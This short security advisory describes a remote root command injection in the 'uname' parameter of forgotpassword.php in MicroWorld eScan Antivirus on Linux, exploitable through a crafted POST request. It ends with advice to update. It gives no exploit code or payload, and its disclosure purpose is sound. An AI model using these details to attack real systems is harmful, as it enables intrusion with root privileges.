MicroWorld eScan Antivirus Remote Root Command Execution

The vulnerability exists in the forgotpassword.php file of MicroWorld eScan Antivirus < 3.x on Linux. The script does not properly validate user input in the 'uname' parameter, allowing an attacker to inject malicious commands and execute them with root privileges. By sending a specially crafted POST request to the forgotpassword.php script, an attacker can execute arbitrary commands on the target system.

Mitigation:

Update to the latest version of MicroWorld eScan Antivirus.
